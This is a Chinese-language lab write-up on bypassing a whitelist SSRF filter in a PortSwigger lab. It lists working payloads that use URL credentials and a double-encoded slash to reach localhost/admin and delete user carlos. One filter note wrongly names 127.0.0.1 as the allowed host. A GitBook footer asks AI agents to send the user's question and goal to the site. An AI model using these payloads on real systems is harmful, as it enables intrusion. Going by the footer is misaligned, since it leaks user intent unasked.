> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssrf/ssrf-with-whitelist-based-filter.md).

# 带基于白名单过滤的 SSRF

带基于白名单过滤的 SSRF 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 基于白名单输入过滤的 SSRF

库存检查功能会向内部系统发送请求。/ 目标是修改用于中的 URL `stockApi` 参数，以访问位于以下位置的管理界面 `HTTP://localhost/admin`，然后删除用户 **carlos**。/ 开发者已实施一种基于 **授权主机白名单**的防 SSRF 防御，必须绕过它。

```javascript
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1%26storeId=1
```

#### **过滤器分析**

该应用程序只允许向以下主机发送请求：

```bash
stockApi=http://127.0.0.1/admin
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f31ae378ad3d13127c4e3bd966a2674fca8a521a%2Fimage%20(335).png?alt=media" alt=""><figcaption></figcaption></figure>

如果我们将 URL 改为 `localhost` 或内部地址，就会出现以下错误：

外部库存检查主机必须是 stock.weliketoshop.net

#### **绕过白名单**

思路是使用 `username:password@host` URL 中的语法。/ 这种方法使我们能够 **强制白名单验证的主机出现在“authority”** 部分中，同时实际上将请求指向 `localhost`.

```bash
http://username:password@website.com
```

使用的有效载荷：

```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080
```

通过 `/` (`%252f`）双重编码，服务器会正确解析重定向到 `localhost`.

这使得可以访问内部管理面板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66d58f7af715138774973b447b71f6048679eb9d%2Fimage%20(336).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **删除 Carlos 用户**

一旦绕过可用，就直接调用删除 URL：

{% code overflow="wrap" %}

```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080/admin?delete=username=carlos
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssrf/ssrf-with-whitelist-based-filter.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
